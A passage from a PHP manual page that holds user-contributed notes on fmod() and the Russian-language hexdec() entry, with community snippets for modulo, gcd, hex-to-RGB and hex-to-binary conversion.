        fputs($fp,$i.';'.$difference.';'."\n");
        $lastprime = $i;
    }
}

fclose($fp);
?>
Adrien Gibrat 05-Jul-2013 10:33
There is an elegant way to do compute gcm :
https://en.wikipedia.org/wiki/Greatest_common_divisor

    // Recursive function to compute gcd (euclidian method)
    function gcd ($a, $b) {
        return $b ? gcd($b, $a % $b) : $a;
    }
    // Then reduce any list of integer
    echo array_reduce(array(42, 56, 28), 'gcd'); // === 14

If you want to work with floating points, use approximation :

    function fgcd ($a, $b) {
        return $b > .01 ? fgcd($b, fmod($a, $b)) : $a; // using fmod
    }
    echo array_reduce(array(2.468, 3.7, 6.1699), 'fgcd'); // ~= 1.232

You can use a closure in PHP 5.3 :

    $gcd = function ($a, $b) use (&$gcd) { return $b ? $gcd($b, $a % $b) : $a; };
verdy_p 12-Dec-2012 02:38
Note that fmod is NOT equivalent to this basic function:

<?php
 function modulo($a, $b) {
    return $a - $b * floor($a / $b);
 }
?>

because fmod() will return a value with the same sign as $a. In other words the floor() function is not correct as it rounds towards -INF instead of towards zero.

To emulate fmod($a, $b) the correct way is:

<?php
 function fmod($a, $b) {
   return $a - $b * (($b < 0) ? ceil($a / $b) : floor($a / $b)));
 }
?>

Note that both functions will throw a DIVISION BY ZERO if $b is null.

The first function modulo() above is the mathematical function which is useful for working on cyclic structures (such as calender computions or trignonometric functions :

- fmod($a, 2*PI) returns a value in [0..2*PI) if $a is positive
- fmod($a, 2*PI) returns a value in [-2*PI..0] if $a is negative
- modulo($a, 2*PI) returns a value always in [0..2*PI) independantly of the sign of $a
dePijd 10-Feb-2010 06:37
This class ran through several unit tests and fixes all failures found in bugs.php.net

<?php
abstract class MyNumber {
    public static function isZero($number, $precision = 0.0000000001)
    {
        $precision = abs($precision);
        return -$precision < (float)$number && (float)$number < $precision;
    }
    public static function isEqual($number1, $number2)
    {
        return self::isZero($number1 - $number2);
    }
    public static function fmod($number1, $number2)
    {
        $rest = fmod($number1, $number2);
        if (self::isEqual($rest, $number2)) {
            return 0.0;
        }
        if (mb_strpos($number1, ".") === false) {
            $decimals1 = 0;
        } else {
            $decimals1 = mb_strlen($number1) - mb_strpos($number1, ".") - 1;
        }
        if (mb_strpos($number2, ".") === false) {
            $decimals2 = 0;
        } else {
            $decimals2 = mb_strlen($number2) - mb_strpos($number2, ".") - 1;
        }
        return (float)round($rest, max($decimals1, $decimals2));
    }
}
?>
linkboss at gmail dot com 18-Oct-2009 05:49
You can also use the modulo operator '%', which returns the same result :

<?php
$var1 = 5;
$var2 = 2;

echo $var1 % $var2; //Returns 1
echo fmod($var1,$var2); //Returns the same
?>
matrebatre 20-May-2008 12:09
I always use this:

function modulo($n,$b) {
return $n-$b*floor($n/$b);
}

And it appears to work correctly.
ysangkok at gmail dot com 01-Jul-2007 09:37
Please note that this:
<?php
function custom_modulo($var1, $var2) {
  $tmp = $var1/$var2;

  return (float) ( $var1 - ( ( (int) ($tmp) ) * $var2 ) );
}

$par1 = 1;
$par2 = 0.2;

echo "fmod:          ";
var_dump(fmod ( $par1 , $par2 ));
echo "custom_modulo: ";
var_dump(custom_modulo ( $par1 , $par2 ));
?>

gives this:

fmod:          float(0.2)
custom_modulo: float(0)

Fmod does not deliver the desired result, therefore I made my own.
cory at lavacube dot net 08-Dec-2005 10:13
I don't believe that is correct.

Try this out using your patch:
<?php

echo duration( mktime(0, 0, 0, 1, 0, 2006)-time() );

?>

As of right now, this will read:
1 month, 22 days, 24 hours, 49 minutes, 15 seconds

Which is completely incorrect. Seeing as how it is the 9th of December.

The real real flaw here is how the 'year' and 'month' periods are calculated. As most months vary in length...

Thank you very much SnakeEater251 for pointing this out.

The quickest way to get slightly more accurate results, is to use averages based on one "true" year, which is 365.25 days.

Change the year and month to:
      'year'       => 31557600, // one 'true year' (365.25 days)
      'month'    => 2629800, // one 'true year' divided by 12 :-)

I will work on developing a true fix, for pin-point accuracy. ;-)

 - Cory Christison
SnakeEater251 26-Nov-2005 10:16
Note on the code given by cory at lavacube dot net.
You will recieve better results by not using floor and using round instead. As you continue increasing to larger amounts of time you will notice that the outputted time is off by large amounts.

so instead of $temp = floor( $int_seconds / $length );
we would use  $temp = round( $int_seconds / $length );

<?php

function duration( $int_seconds=0, $if_reached=null )
{
   $key_suffix = 's';
   $periods = array(
                   'year'        => 31556926,
                   'month'        => 2629743,
                   'day'        => 86400,
                   'hour'        => 3600,
                   'minute'    => 60,
                   'second'    => 1
                   );

   // used to hide 0's in higher periods
   $flag_hide_zero = true;

   // do the loop thang
   foreach( $periods as $key => $length )
   {
       // calculate
       $temp = round( $int_seconds / $length );

       // determine if temp qualifies to be passed to output
       if( !$flag_hide_zero || $temp > 0 )
       {
           // store in an array
           $build[] = $temp.' '.$key.($temp!=1?'s':null);

           // set flag to false, to allow 0's in lower periods
           $flag_hide_zero = false;
       }

       // get the remainder of seconds
       $int_seconds = fmod($int_seconds, $length);
   }

   // return output, if !empty, implode into string, else output $if_reached
   return ( !empty($build)?implode(', ', $build):$if_reached );
}

?>
cory at lavacube dot net 26-Nov-2005 12:38
A more formal way for generating duration strings:

<?php

function duration( $int_seconds=0, $if_reached=null )
{
    $key_suffix = 's';
    $periods = array(
                    'year'        => 31556926,
                    'month'        => 2629743,
                    'day'        => 86400,
                    'hour'        => 3600,
                    'minute'    => 60,
                    'second'    => 1
                    );

    // used to hide 0's in higher periods
    $flag_hide_zero = true;

    // do the loop thang
    foreach( $periods as $key => $length )
    {
        // calculate
        $temp = floor( $int_seconds / $length );

        // determine if temp qualifies to be passed to output
        if( !$flag_hide_zero || $temp > 0 )
        {
            // store in an array
            $build[] = $temp.' '.$key.($temp!=1?'s':null);

            // set flag to false, to allow 0's in lower periods
            $flag_hide_zero = false;
        }

        // get the remainder of seconds
        $int_seconds = fmod($int_seconds, $length);
    }

    // return output, if !empty, implode into string, else output $if_reached
    return ( !empty($build)?implode(', ', $build):$if_reached );
}

?>

Simple use:
<?php

    echo duration( mktime(0, 0, 0, 1, 1, date('Y')+1) - time(), 'Some fancy message to output if duration is already met...' );

?>

Enjoy. :-)
cory at simplesystems dot ca 22-Nov-2005 05:39
Just a note on the previous note by Ryan Means:

Instead of using explode() to get the number before the decimal point, would be to use floor()... floor() rounds fractions down, which is exactly what is needed.

His same example using floor();

<?PHP
$totalsec=XXXXXXX; //Replace the X's with a int value of seconds

$daysarray = floor( $totalsec/86400 );

$partdays = fmod($totalsec, 86400);
$hours = floor( $partdays/3600 );

$parthours = fmod($partdays, 3600);
$min = floor( $parthours/60 );

$sec = fmod($parthours, 60);

echo "days " . $days . "<br>";
echo "hours " . $hours . "<br>";
echo "minutes " . $min . "<br>";
echo "seconds " . $sec . "<br>";
?>
rocan 19-Feb-2005 06:10
john at digitizelife dot com:

Well not sure how your comment applys to fmod..

but their is a sure simpler way of coping with situations like this..

its called a bit field (bit masking)

e.g.

/* Categories */
bin     dec   cat
0001 - 1 - Blue
0010 - 2 - Red
0100 - 4 - Green
1000 - 8 - Yellow

/* Permissions */
0010 - 2   - Bob
0101 - 5    - John
1011 - 11  - Steve
1111-  15 - Mary

to find out the permissions for each user you simple need to do a bitwise AND

$steve_auth=11;

function get_perm($auth)
{
    $cats["Blue"]=1;
    $cats["Red"]=2;
    $cats["Green"]=4;
    $cats["Yellow"]=8;
    $perms=array();
    foreach($cats as $perm=>$catNum)
    {
          if($auth & $catNum)
                $perms[$perm]=true;

    }

    return $perms;
}

print_r(get_perm($steve_auth));
/*
returns
Array
(
    [Blue] => 1
    [Red] => 1
    [Yellow] => 1
)
*/

This is far simpler than your prime number idea, in fact you dont even need a function in any tests for the permmsions on a user you can do them directly using the bitwise and operator.

You may want to read the following

http://en.wikipedia.org/wiki/Bitmask
http://uk2.php.net/manual/en/language.operators.bitwise.php
jphansen at uga dot edu 10-Jan-2005 11:44
fmod() does not mirror a calculator's mod function. For example, fmod(.25, .05) will return .05 instead of 0 due to floor(). Using the aforementioned example, you may get 0 by replacing floor() with round() in a custom fmod().

<?
function fmod_round($x, $y) {
    $i = round($x / $y);
    return $x - $i * $y;
}

var_dump(fmod(.25, .05)); // float(0.05)
var_dump(fmod_round(.25, .05)); // float(0)
?>
konstantin at rekk dot de 27-May-2004 08:10
If you need to reduce an integer to zero if zero and 1 if not, you can use

$sign = (integer)(boolean)$integer;

instead of

$sign = $integer > 0 ? 1 : 0;

it is faster from 100 operations on (at least on my machine).
alex at xelam dot net 16-Feb-2004 01:19
Integer Modulo

If you want the remainder of the division of two Integers rather than Floats, use "%"; eg:

<?php
$a = 4;
$b = 3;

print($a % $b);
?>

Will output "1".
picaune at hotmail dot com 09-Mar-2003 03:57
NAN (.net Equivalent = Double.NaN) means "Not-a-Number".
Some ways to get NaN are modulo 0, and square root of 0.


Переводит число из шестнадцатеричной системы счисления в десятичную

  • « fmod
  • hypot »
  • PHP Manual
  • Математические функции
  • Переводит число из шестнадцатеричной системы счисления в десятичную

hexdec

(PHP 4, PHP 5, PHP 7, PHP 8)

hexdec — Переводит число из шестнадцатеричной системы счисления в десятичную

Описание

hexdec(string $hex_string): int|float

Возвращает десятичный эквивалент шестнадцатеричного числа, содержащегося в аргументе hex_string. hexdec() преобразует шестнадцатеричную строку в десятичное число.

hexdec() игнорирует любые обнаруженные не шестнадцатеричные символы. Начиная с PHP 7.4.0, предоставление любых некорректных символов устарело.

Список параметров

hex_string

Шестнадцатеричная строка для преобразования

Возвращаемые значения

Десятичное представление hex_string

Список изменений

Версия | Описание
7.4.0 | Передача некорректных символов будет выдавать уведомление об устаревании. Результат будет вычислен так, как если бы некорректные символы не существовали.

Примеры

Пример #1 Пример использования hexdec()

<?php
var_dump(hexdec("See"));
var_dump(hexdec("ee"));
// в обоих случаях будет выведено "int(238)"

var_dump(hexdec("that")); // выведет "int(10)"
var_dump(hexdec("a0")); // выведет "int(160)"
?>

Примечания

Замечание:

Эта функция может конвертировать числа, которые слишком большие для типа int на текущей платформе. В этом случае большие значения возвращаются как float.

Смотрите также

  • dechex() - Переводит число из десятичной системы счисления в шестнадцатеричную
  • bindec() - Двоичное в десятичное
  • octdec() - Переводит число из восьмеричной системы счисления в десятичную
  • base_convert() - Преобразование числа между произвольными системами счисления

User Contributed Notes

helpmedalph at gmail dot com 02-May-2016 02:31
function hex2rgb($hex) {
    if ($hex[0]=='#') $hex = substr($hex,1);
    if (strlen($hex)==3){
        $hex = $hex[0].$hex[0].$hex[1].$hex[1].$hex[2].$hex[2];
    }
    $int = hexdec($hex);
    return array("red" => 0xFF & ($int >> 0x10), "green" => 0xFF & ($int >> 0x8), "blue" => 0xFF & $int);
}
sneskid at hotmail dot com 24-Mar-2012 02:50
If you want to create or parse signed Hex strings:

<?php
// $d should be an int
function sdechex($d) { return ($d<0) ? ('-' . dechex(-$d)) : dechex($d); }

// $h should be a string
function shexdec($h) { return ($h[0] === '-') ? -('0x' . substr($h,1) + 0) : ('0x' . $h + 0); }

// test
$h = sdechex(-123); // string(3) "-7b"
$d = shexdec($h);   // int(-123)
var_dump($h, $d);
?>

Also note that ('0x' . $hexstr + 0) is faster than hexdec()
(Tested on PHP v5.2.17)
programacion at mundosica dot com 06-Dec-2011 09:50
Here is other function to transform a MAC Address to decimal:

<?php
function get_mac_decimal($mac) {
    $clear_mac = preg_replace('/[^0-9A-F]/i','',$mac);
    $mac_decimal = array();
    for ($i = 0; $i < strlen($clear_mac); $i += 2 ):
        $mac_decimal[] = hexdec(substr($clear_mac, $i, 2));
    endfor;
    return implode('.',$mac_decimal);
}
?>
andy at haveland dot com 24-Oct-2010 10:55
Here's a short example to convert strings between hex and chars:

<?php
print hextostr("616E647940686176656C616E642E636F6D")."\n";

print strtohex("Knowledge is power")."\n";

function hextostr($x) {
  $s='';
  foreach(explode("\n",trim(chunk_split($x,2))) as $h) $s.=chr(hexdec($h));
  return($s);
}

function strtohex($x) {
  $s='';
  foreach(str_split($x) as $c) $s.=sprintf("%02X",ord($c));
  return($s);
}
?>
hafees at msn dot com 19-Aug-2010 03:31
Use this function to convert a hexa decimal color code to its RGB equivalent. Unlike many other functions provided here, it will work correctly with hex color short hand notation.

Also, if a proper hexa decimal color value is given (6 digits), it uses bit wise operations for faster results.

For eg: #FFF and #FFFFFF will produce the same result

<?php
/**
 * Convert a hexa decimal color code to its RGB equivalent
 *
 * @param string $hexStr (hexadecimal color value)
 * @param boolean $returnAsString (if set true, returns the value separated by the separator character. Otherwise returns associative array)
 * @param string $seperator (to separate RGB values. Applicable only if second parameter is true.)
 * @return array or string (depending on second parameter. Returns False if invalid hex color value)
 */
function hex2RGB($hexStr, $returnAsString = false, $seperator = ',') {
    $hexStr = preg_replace("/[^0-9A-Fa-f]/", '', $hexStr); // Gets a proper hex string
    $rgbArray = array();
    if (strlen($hexStr) == 6) { //If a proper hex code, convert using bitwise operation. No overhead... faster
        $colorVal = hexdec($hexStr);
        $rgbArray['red'] = 0xFF & ($colorVal >> 0x10);
        $rgbArray['green'] = 0xFF & ($colorVal >> 0x8);
        $rgbArray['blue'] = 0xFF & $colorVal;
    } elseif (strlen($hexStr) == 3) { //if shorthand notation, need some string manipulations
        $rgbArray['red'] = hexdec(str_repeat(substr($hexStr, 0, 1), 2));
        $rgbArray['green'] = hexdec(str_repeat(substr($hexStr, 1, 1), 2));
        $rgbArray['blue'] = hexdec(str_repeat(substr($hexStr, 2, 1), 2));
    } else {
        return false; //Invalid hex color code
    }
    return $returnAsString ? implode($seperator, $rgbArray) : $rgbArray; // returns the rgb string or the associative array
} ?>

OUTPUT:

hex2RGB("#FF0") -> array( red =>255, green => 255, blue => 0)
hex2RGB("#FFFF00) -> Same as above
hex2RGB("#FF0", true) -> 255,255,0
hex2RGB("#FF0", true, ":") -> 255:255:0
Rosberg - rosberglinhares at gmail dot com 06-May-2010 08:45
The correct version is:

function bchexdec($hex) {
    static $hexdec = array(
        "0" => 0,
        "1" => 1,
        "2" => 2,
        "3" => 3,
        "4" => 4,
        "5" => 5,
        "6" => 6,
        "7" => 7,
        "8" => 8,
        "9" => 9,
        "A" => 10,
        "B" => 11,
        "C" => 12,
        "D" => 13,
        "E" => 14,
        "F" => 15
    );

    $dec = 0;

    for ($i = strlen($hex) - 1, $e = 1; $i >= 0; $i--, $e = bcmul($e, 16)) {
        $factor = $hexdec[$hex[$i]];
        $dec = bcadd($dec, bcmul($factor, $e));
    }

    return $dec;
}
flurinj at gmx dot net 06-Apr-2010 07:13
Here My version of converting a hex string to a signed decimal value:

<?php

function hexdecs($hex)
{
    // ignore non hex characters
    $hex = preg_replace('/[^0-9A-Fa-f]/', '', $hex);

    // converted decimal value:
    $dec = hexdec($hex);

    // maximum decimal value based on length of hex + 1:
    //   number of bits in hex number is 8 bits for each 2 hex -> max = 2^n
    //   use 'pow(2,n)' since '1 << n' is only for integers and therefore limited to integer size.
    $max = pow(2, 4 * (strlen($hex) + (strlen($hex) % 2)));

    // complement = maximum - converted hex:
    $_dec = $max - $dec;

    // if dec value is larger than its complement we have a negative value (first bit is set)
    return $dec > $_dec ? -$_dec : $dec;
}

?>
Halit YEL - halityesil at globya dot net 02-Oct-2009 01:30
RGB to Hex
Hex to RGB
Function

<?PHP

function rgb2hex2rgb($c){
   if(!$c) return false;
   $c = trim($c);
   $out = false;
  if(preg_match("/^[0-9ABCDEFabcdef\#]+$/i", $c)){
      $c = str_replace('#','', $c);
      $l = strlen($c) == 3 ? 1 : (strlen($c) == 6 ? 2 : false);

      if($l){
         unset($out);
         $out[0] = $out['r'] = $out['red'] = hexdec(substr($c, 0,1*$l));
         $out[1] = $out['g'] = $out['green'] = hexdec(substr($c, 1*$l,1*$l));
         $out[2] = $out['b'] = $out['blue'] = hexdec(substr($c, 2*$l,1*$l));
      }else $out = false;

   }elseif (preg_match("/^[0-9]+(,| |.)+[0-9]+(,| |.)+[0-9]+$/i", $c)){
      $spr = str_replace(array(',',' ','.'), ':', $c);
      $e = explode(":", $spr);
      if(count($e) != 3) return false;
         $out = '#';
         for($i = 0; $i<3; $i++)
            $e[$i] = dechex(($e[$i] <= 0)?0:(($e[$i] >= 255)?255:$e[$i]));

         for($i = 0; $i<3; $i++)
            $out .= ((strlen($e[$i]) < 2)?'0':'').$e[$i];

         $out = strtoupper($out);
   }else $out = false;

   return $out;
}

?>

Output

#FFFFFF =>
 Array{
   red=>255,
   green=>255,
   blue=>255,
   r=>255,
   g=>255,
   b=>255,
   0=>255,
   1=>255,
   2=>255
 }

#FFCCEE =>
 Array{
   red=>255,
   green=>204,
   blue=>238,
   r=>255,
   g=>204,
   b=>238,
   0=>255,
   1=>204,
   2=>238
 }
CC22FF =>
 Array{
   red=>204,
   green=>34,
   blue=>255,
   r=>204,
   g=>34,
   b=>255,
   0=>204,
   1=>34,
   2=>255
 }

0 65 255 => #0041FF
255.150.3 => #FF9603
100,100,250 => #6464FA

[EDIT BY danbrown AT php DOT net - Contains multiple bugfixes by (ajim1417 AT gmail DOT com) on 27-JAN-2010: Replaces typo in explode() and updates eregi() calls to preg_match().]
jose dot rob dot jr at gmail dot com 15-Aug-2009 08:13
I made these functions to pack up to 64 ID's into a mysql unsigned bigint.

ID's cannot repeat, must be <= bit's limit and > 0.

The functions uses php 32 bit's int as unsigned because we don't actually read the number, just the bits. Then 0xFFFFFFFF display -1 but the bit's are there (tested with linux 2.6 i686 and x86_64)

---

This is an other way to make hex to bin conversions:

<?php
function hexbin($hex, $padding = false)
{
    // Validation
    $hex = preg_replace('/^(0x|X)?/i', '', $hex);
    $hex = preg_replace('/[[:blank:]]/', '', $hex);
    if(empty($hex))
    {
        $hex = '0';
    }
    if(!preg_match('/^[0-9A-F]*$/i', $hex))
    {
        trigger_error('Argument is not a hex', E_USER_WARNING);
        return false;
    }

    // Conversion
    $bin = '';
    $hex = array_reverse(str_split($hex));
    foreach($hex as $n)
    {
        $n = hexdec($n);
        for($i = 1; $i <= 8; $i <<= 1)
        {
            $bin .= ($i & $n)? '1' : '0';
        }
        if($padding)
        {
            $bin .= ' ';
        }
    }
    return ltrim(strrev($bin));
}

// Tests
echo "<b>Debug:</b> <pre>";

// Randomly choosed padded number
var_dump(hexbin('00FF FF8F 7F3F FF1F', true));
// string(79) "0000 0000 1111 1111 1111 1111 1000 1111 0111 1111 0011 1111 1111 1111 0001 1111"

// Yellow RGB
var_dump(hexbin('0xF8F800'));
// string(24) "111110001111100000000000"

// Green RGB (padded)
var_dump(hexbin('0x008800', true));
//string(29) "0000 0000 1000 1000 0000 0000"

die("\n<br>debug");

?>

Have fun ;D
Ultimater at gmail dot com 19-Apr-2009 01:54
hexdec doesn't accept numbers following the period.
What if you have a number like c20.db18?
<?php
function floatinghexdec($str)
{
    list($intgr,$hex)=explode('.',$str,2);
    $intgr=ereg_replace("[^A-Fa-f0-9]", "", $intgr);
    $hex=ereg_replace("[^A-Fa-f0-9]", "", $hex);
    $answer=0;
    for($i=0;$i < strlen($hex); $i++)
    {
        $digit=hexdec(substr($hex,$i,1))/16;   // .f is 15/16 because in decimal .9 is 9/10
        $answer += $digit/pow(16,$i);
    }
return hexdec($intgr)+$answer;
}

echo floatinghexdec("ff.ff");//255.99609375
?>
chuckySTAR 15-Apr-2009 01:55
Here's my hexdec function for greater numbers using BC Math

<?php
function bchexdec($hex)
{
    $len = strlen($hex);
    for ($i = 1; $i <= $len; $i++)
        $dec = bcadd($dec, bcmul(strval(hexdec($hex[$i - 1])), bcpow('16', strval($len - $i))));

    return $dec;
}

echo bchexdec('ffffffffffffffffffffffffffffffff') . "\n" . (pow(2, 128));
?>
joquius at kakugo dot com 24-Sep-2008 06:12
Help a hex-stricken string get back to normal:

<?php
$str = preg_replace_callback ("/%([a-zA-Z0-9]{2})/", create_function ('$matches', 'return chr (hexdec ($matches[1]));'), $str);
?>
this1is4me at hotmail dot com 27-May-2008 02:46
In reply to Amit Yadav's post (hex to binary conversion):

function binfromdec($num)
{
  $primary = "bit";
  for ($i=1; $i<=16; $i++)
    ${$primary.$i} = 0;

  if ($num & 32768)   $bit16  = 1;
  if ($num & 16384)   $bit15  = 1;
  if ($num & 8192)    $bit14  = 1;
  if ($num & 4096)    $bit13  = 1;
  if ($num & 2048)    $bit12  = 1;
  if ($num & 1024)    $bit11  = 1;
  if ($num & 512)     $bit10  = 1;
  if ($num & 256)     $bit9   = 1;
  if ($num & 128)     $bit8   = 1;
  if ($num & 64)      $bit7   = 1;
  if ($num & 32)      $bit6   = 1;
  if ($num & 16)      $bit5   = 1;
  if ($num & 8)       $bit4   = 1;
  if ($num & 4)       $bit3   = 1;
  if ($num & 2)       $bit2   = 1;
  if ($num & 1)       $bit1   = 1;

  return ($bit16. $bit15. $bit14. $bit13. $bit12. $bit11. $bit10. $bit9. $bit8. $bit7. $bit6. $bit5. $bit4. $bit3. $bit2. $bit1);
}
Walter Wlodarski 31-Jan-2008 01:33
One of my favourite, multi-purpose, bidirectional solution I wrote many years ago:

function bgr2rgb($cr) {  // bidirectional
    return (($cr & 0x0000FF) << 16 | ($cr & 0x00FF00) | ($cr & 0xFF0000) >> 16);
}

Which you might want to use as :

function hex2cr($hex) {  // strips any leading characters, like #
    return bgr2rgb(hexdec($hex));
}

function cr2hex($cr) { // the usual HTML format, #rrggbb
    return '#'.str_pad(strtoupper(dechex(bgr2rgb($cr))), 6, '0', STR_PAD_LEFT);
}

And, if like me you tend to mistype function names, the synonym :

function rgb2bgr($val) { return bgr2rgb($val); }
maddddidley at yahoo dot com 27-Jan-2008 12:17
Function that combines two rgb colors.

function combineColors($color1, $color2) {

        $color1 = str_replace("#", '', $color1);
        $color2 = str_replace("#", '', $color2);

        $r1 = hexdec(substr($color1, 0, 2));
        $g1 = hexdec(substr($color1, 2, 2));
        $b1 = hexdec(substr($color1, 4, 2));

        $r2 = hexdec(substr($color2, 0, 2));
        $g2 = hexdec(substr($color2, 2, 2));
        $b2 = hexdec(substr($color2, 4, 2));

        $r3 = ceil(($r1 + $r2) / 2);
        $g3 = ceil(($g1 + $g2) / 2);
        $b3 = ceil(($b1 + $b2) / 2);

        $color = rgbhex($r3, $g3, $b3);
        return $color = str_replace("#", '', $color);

    }
Anonymous 13-Nov-2007 08:34
// Funcao GET Cor Hexadecima e Retorna em RGB
function hexrgb($hexstr, $rgb) {
 $int = hexdec($hexstr);
 switch($rgb) {
        case "r":
        return 0xFF & $int >> 0x10;
            break;
        case "g":
        return 0xFF & ($int >> 0x8);
            break;
        case "b":
        return 0xFF & $int;
            break;
        default:
        return array(
            "r" => 0xFF & $int >> 0x10,
            "g" => 0xFF & ($int >> 0x8),
            "b" => 0xFF & $int
            );
            break;
    }
}// END GET Cor Hex => RGB

//Uso
 echo hexrgb("1a2b3c", r); // 26
 echo hexrgb("1a2b3c", g); // 43
 echo hexrgb("1a2b3c", b); // 60
//ou

var_dump(hexrgb("1a2b3c", rgb)); //array(3) { ["r"]=>  int(26) ["g"]=>  int(43) ["b"]=>  int(60) }
k10206 at naver dot com 27-Oct-2007 09:42
<?
function hexrgb($hexstr) {
    $int = hexdec($hexstr);

    return array("red" => 0xFF & ($int >> 0x10), "green" => 0xFF & ($int >> 0x8), "blue" => 0xFF & $int);
}
?>
Manithu 23-Mar-2007 04:23
This tiny function will return foreground colors (either black or white) in contrast to the color you provide:

<?php

function getContrastColor($color)
{
    return (hexdec($color) > 0xffffff/2) ? '000000' : 'ffffff';
}

?>

This function will return the opposite (negative):

<?php

function negativeColor($color)
{
    //get red, green and blue
    $r = substr($color, 0, 2);
    $g = substr($color, 2, 2);
    $b = substr($color, 4, 2);

    //revert them, they are decimal now
    $r = 0xff-hexdec($r);
    $g = 0xff-hexdec($g);
    $b = 0xff-hexdec($b);

    //now convert them to hex and return.
    return dechex($r).dechex($g).dechex($b);
}

?>
cgarvis at gmail dot com 09-Oct-2006 10:39
Here is my version of hex2rgb for web colors to 24bit colors.

<?php
function hex2rgb_webcolors($hex) {
    $hex = eregi_replace("[^a-fA-F0-9]", "", $hex);
    switch( strlen($hex) ) {
        case 2:
            $hex = substr($hex,0,2)."0000";
            break;
        case 3:
            $hex = substr($hex,0,1).substr($hex,0,1)
            .substr($hex,1,1).substr($hex,1,1)
            .substr($hex,2,1).substr($hex,2,1);
            break;
        case 4:
            $hex = substr($hex,0,4)."00";
            break;
        case 6:
            break;
        default:
            $hex = 0;
            break;
    }
    return hexdec($hex);
}
?>
repley at freemail dot it 28-May-2006 06:55
From color to color to ...... to color with fade effect. Good for dynamic bar chart.

<?php
//MultiColorFade(array hex-colors, int steps)
function MultiColorFade($hex_array, $steps) {

$tot = count($hex_array);
$gradient = array();
$fixend = 2;
$passages = $tot-1;
$stepsforpassage = floor($steps/$passages);
$stepsremain = $steps - ($stepsforpassage*$passages);

   for($pointer = 0; $pointer < $tot-1 ; $pointer++) {

       $hexstart = $hex_array[$pointer];
       $hexend = $hex_array[$pointer + 1];

       if($stepsremain > 0){
           if($stepsremain--){
               $stepsforthis = $stepsforpassage + 1;
           }
       }else{
           $stepsforthis = $stepsforpassage;
       }

       if($pointer > 0){
           $fixend = 1;
       }

       $start['r'] = hexdec(substr($hexstart, 0, 2));
       $start['g'] = hexdec(substr($hexstart, 2, 2));
       $start['b'] = hexdec(substr($hexstart, 4, 2));

       $end['r'] = hexdec(substr($hexend, 0, 2));
       $end['g'] = hexdec(substr($hexend, 2, 2));
       $end['b'] = hexdec(substr($hexend, 4, 2));

       $step['r'] = ($start['r'] - $end['r']) / ($stepsforthis);
       $step['g'] = ($start['g'] - $end['g']) / ($stepsforthis);
       $step['b'] = ($start['b'] - $end['b']) / ($stepsforthis);

       for($i = 0; $i <= $stepsforthis-$fixend; $i++) {

           $rgb['r'] = floor($start['r'] - ($step['r'] * $i));
           $rgb['g'] = floor($start['g'] - ($step['g'] * $i));
           $rgb['b'] = floor($start['b'] - ($step['b'] * $i));

           $hex['r'] = sprintf('%02x', ($rgb['r']));
           $hex['g'] = sprintf('%02x', ($rgb['g']));
           $hex['b'] = sprintf('%02x', ($rgb['b']));

           $gradient[] = strtoupper(implode(NULL, $hex));
       }
   }

   $gradient[] = $hex_array[$tot-1];

return $gradient;
}
//end MultiColorFade()

//start test
$multi_hex_array = array();
$multi_hex_array[] = array('FF0000','FFFF00');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF','000000');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF','000000','FFFFFF');

foreach($multi_hex_array as $hex_array){

   $totcolors = count($hex_array);
   $steps = 44;

   $a = MultiColorFade($hex_array, $steps);
   $tot = count($a);

   $table = '<table border=1 width="300">' . "\n";

   for ($i = 0; $i < $tot; $i++){
       $table .= ' <tr><td bgcolor="' . $a[$i] . '">' . ($i+1) .'</td><td><pre>' . $a[$i] . '</pre></td></tr>' . "\n";
   }

   $table .= '</table><br /><br />';

   echo '<br />Demanded steps = ' . $steps . '<br />';
   echo 'Returned steps = ' . $tot;

   if($steps == $tot){
       echo '<br />OK.' . $steps . ' = ' . $tot . '<br />';
   }else{
       echo '<br /><span style="color:#FF0000">FAILED! Demanded steps and returned steps are NOT equal!: ' . $steps . ' != ' . $tot . '</span><br />';
   }

   echo $table;

}
//end test
?>

Repley.
ayadav at infoprocorp dot com 28-Dec-2005 12:03
From Amit Yadav

Hex to binary conversion

$num = hexdec("20DF");
echo binfromdec($num);

function binfromdec($num)
{
    if ($num > 32766)    return ("Too Large!");
    if ($num & 16384)    $bit15 = 1;
    if ($num & 8192)    $bit14 = 1;
    if ($num & 4096)    $bit13 = 1;
    if ($num & 2048)    $bit12 = 1;
    if ($num & 1024)    $bit11 = 1;
    if ($num & 512)        $bit10 = 1;
    if ($num & 256)        $bit9 = 1;
    if ($num & 128)        $bit8 = 1;
    if ($num & 64)        $bit7 = 1;
    if ($num & 32)        $bit6 = 1;
    if ($num & 16)        $bit5 = 1;
    if ($num & 8)        $bit4 = 1;
    if ($num & 4)        $bit3 = 1;
    if ($num & 2)        $bit2 = 1;
    if ($num & 1)        $bit1 = 1;

    return ("" . $bit15 . $bit14 . $bit13 . $bit12 . $bit11 . $bit10 . $bit9 . $bit8 . $bit7 . $bit6 . $bit5 . $bit4 . $bit3 . $bit2 . $bit1);

}
cory at lavacube dot com 28-Oct-2005 01:59
A handy little function to convert HEX colour codes to "web safe" colours...

<?php

function color_mkwebsafe ( $in )
{
   // put values into an easy-to-use array
   $vals['r'] = hexdec( substr($in, 0, 2) );
   $vals['g'] = hexdec( substr($in, 2, 2) );
   $vals['b'] = hexdec( substr($in, 4, 2) );

   // loop through
   foreach( $vals as $val )
   {
       // convert value
       $val = ( round($val/51) * 51 );
       // convert to HEX
       $out .= str_pad(dechex($val), 2, '0', STR_PAD_LEFT);
   }

   return $out;
}

?>

Example: color_mkwebsafe('0e5c94');
Produces: 006699

Hope this helps someone out... Happy coding. :-)
detrate at hotmail dot com 29-Sep-2005 06:38
I made this for a little phpbb mod.  It was used to take the hex value from the database and make a color 20 (in decimal) less, resulting a darker color.

EXAMPLE: #336699 to #1f5285

<?php

$row1 = "336699"; // color
$c = 20;          // difference value

$rgb = array(substr($row1,0,2), substr($row1,2,2), substr($row1,4,2));

for($i=0; $i < 3; $i++)
{
  if((hexdec($rgb[$i])-$c) >= 0)
  {
   $rgb[$i] = hexdec($rgb[$i])-$c;

   $rgb[$i] = dechex($rgb[$i]);
    if(hexdec($rgb[0]) <= 9)
     $rgb[$i] = "0".$rgb[$i];
  } else {
    $rgb[$i] = "00";
  }
}

$row2 = $rgb[0].$rgb[1].$rgb[2];

?>
Gabriel Reguly 16-Aug-2005 11:24
